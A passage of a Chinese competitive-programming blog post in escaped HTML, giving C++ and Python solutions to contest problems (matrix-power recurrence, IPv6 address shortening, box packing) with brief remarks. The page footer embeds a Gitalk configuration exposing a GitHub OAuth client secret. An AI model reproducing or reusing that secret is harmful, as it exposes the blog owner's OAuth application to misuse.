class=\"meta-string\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e vector\u0026lt;vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt; /**/\u0026gt; mat;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emat unit = mat\u0026#123;vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u0026#125;, vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u0026#125;\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emat zero = mat\u0026#123;vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u0026#125;, vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u0026#125;\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e a, b, x1, x2, mod;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e n[\u003cspan class=\"number\"\u003e1000000\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e mat \u003cspan class=\"keyword\"\u003eoperator\u003c/span\u003e*(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e mat \u0026amp;a, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e mat \u0026amp;b) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e mat ret = zero;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; j++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e k = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; k \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; k++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ret[i][j] += a[i][k] * b[k][j];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e; j++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ret[i][j] %= mod;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ret;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etemplate\u003c/span\u003e \u0026lt;\u003cspan class=\"keyword\"\u003etypename\u003c/span\u003e T\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e T \u003cspan class=\"keyword\"\u003eoperator\u003c/span\u003e^(T a, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e n) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e T ret = unit;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (n) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n \u0026amp; \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ret = ret * a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e n \u0026gt;\u0026gt;= \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e a = a * a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ret;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%d %d %d %d\u0026quot;\u003c/span\u003e, \u0026amp;x1, \u0026amp;x2, \u0026amp;a, \u0026amp;b);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%s %d\u0026quot;\u003c/span\u003e, n, \u0026amp;mod);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e length = \u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(n);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e mat res = unit;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e mat base = mat\u0026#123;vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;a, b\u0026#125;, vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u0026#125;\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = length - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n[i] - \u003cspan class=\"string\"\u003e\u0026#x27;0\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e res = res * (base ^ (n[i] - \u003cspan class=\"string\"\u003e\u0026#x27;0\u0026#x27;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e base = base ^ \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e res = res * mat\u0026#123;vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;x2, \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u0026#125;, vector\u0026lt;\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e\u0026gt;\u0026#123;x1, \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u0026#125;\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%lld\\n\u0026quot;\u003c/span\u003e, res[\u003cspan class=\"number\"\u003e1\u003c/span\u003e][\u003cspan class=\"number\"\u003e0\u003c/span\u003e]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"three-points-1\"\u003ethree points 1\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e有思路有思路。。。。\u003cbr\u003e十分钟能写完么\u003cbr\u003e不能\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"第六场\"\u003e第六场\u003c/h2\u003e\u003ch3 id=\"B-Shorten-IPv6-Address\"\u003eB: Shorten IPv6 Address\u003c/h3\u003e\u003cp\u003e比赛的时候我在干什么系列\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eT = \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(\u003cspan class=\"built_in\"\u003einput\u003c/span\u003e())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecase = \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e T \u0026gt; case:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e case += \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e x = \u003cspan class=\"built_in\"\u003einput\u003c/span\u003e()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e x = [\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(x[i:i+\u003cspan class=\"number\"\u003e16\u003c/span\u003e], \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(x), \u003cspan class=\"number\"\u003e16\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e )]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e s = [\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e.join([\u003cspan class=\"built_in\"\u003ehex\u003c/span\u003e(i)[\u003cspan class=\"number\"\u003e2\u003c/span\u003e:] \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e x])]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e8\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e j \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(i+\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e8\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e flag = \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e k \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e x[i:j+\u003cspan class=\"number\"\u003e1\u003c/span\u003e]:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e k != \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e flag = \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e flag:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e s.append(\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e.join([\u003cspan class=\"built_in\"\u003ehex\u003c/span\u003e(_)[\u003cspan class=\"number\"\u003e2\u003c/span\u003e:] \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e x[:i]])+\u003cspan class=\"string\"\u003e\u0026#x27;::\u0026#x27;\u003c/span\u003e+\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e.join([\u003cspan class=\"built_in\"\u003ehex\u003c/span\u003e(_)[\u003cspan class=\"number\"\u003e2\u003c/span\u003e:] \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e x[j+\u003cspan class=\"number\"\u003e1\u003c/span\u003e:]]))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e s.sort(key=\u003cspan class=\"keyword\"\u003elambda\u003c/span\u003e x: (\u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(x), x))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;Case #%d:\u0026#x27;\u003c/span\u003e % (case), s[\u003cspan class=\"number\"\u003e0\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e但是python里头有个all,可以判断一个可遍历对象里头是否都为true\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eT = \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(\u003cspan class=\"built_in\"\u003einput\u003c/span\u003e())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecase = \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e T\u0026gt;case:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e case+=\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e x = \u003cspan class=\"built_in\"\u003einput\u003c/span\u003e()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e x = [\u003cspan class=\"built_in\"\u003ehex\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(x[i:i+\u003cspan class=\"number\"\u003e16\u003c/span\u003e], \u003cspan class=\"number\"\u003e2\u003c/span\u003e))[\u003cspan class=\"number\"\u003e2\u003c/span\u003e:] \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(x), \u003cspan class=\"number\"\u003e16\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e s = [\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e.join(x)]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e8\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e j \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(i+\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e8\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003eall\u003c/span\u003e(\u003cspan class=\"built_in\"\u003emap\u003c/span\u003e(\u003cspan class=\"keyword\"\u003elambda\u003c/span\u003e x:x==\u003cspan class=\"string\"\u003e\u0026#x27;0\u0026#x27;\u003c/span\u003e,x[i:j+\u003cspan class=\"number\"\u003e1\u003c/span\u003e])):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e s.append(\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e.join(x[:i])+\u003cspan class=\"string\"\u003e\u0026#x27;::\u0026#x27;\u003c/span\u003e+\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e.join(x[j+\u003cspan class=\"number\"\u003e1\u003c/span\u003e:]) )\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e s.sort(key=\u003cspan class=\"keyword\"\u003elambda\u003c/span\u003e x:(\u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(x),x))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;Case #%d:\u0026#x27;\u003c/span\u003e%(case),s[\u003cspan class=\"number\"\u003e0\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"D-Move\"\u003eD: Move\u003c/h3\u003e\u003cp\u003e数据毒瘤。。。有多少人的二分都过了。。\u003cbr\u003e证明\u0026quot;$f(V)=需要的盒子数$\u0026quot;不单调:\u003cbr\u003e首先取体积为V的流体(即$\\lim\\limits_{n \\to \\infty}v_1,v_2…v_n$)放满K个盒子,取$v_i, v_j$合并为一个物体,此时$\\sum v_i$没变,而多了一个需要的盒子\u003cbr\u003e貌似遍历check一遍就能过\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003echeck\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e V)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(put, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e) * n);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cnt_obj = n, cnt = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (sumV) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cur = V;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!put[i] \u0026amp;\u0026amp; v[i] \u0026lt;= cur) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e put[i] = \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cnt_obj--;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cur -= v[i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cnt++;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e cnt \u0026lt;= k;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" 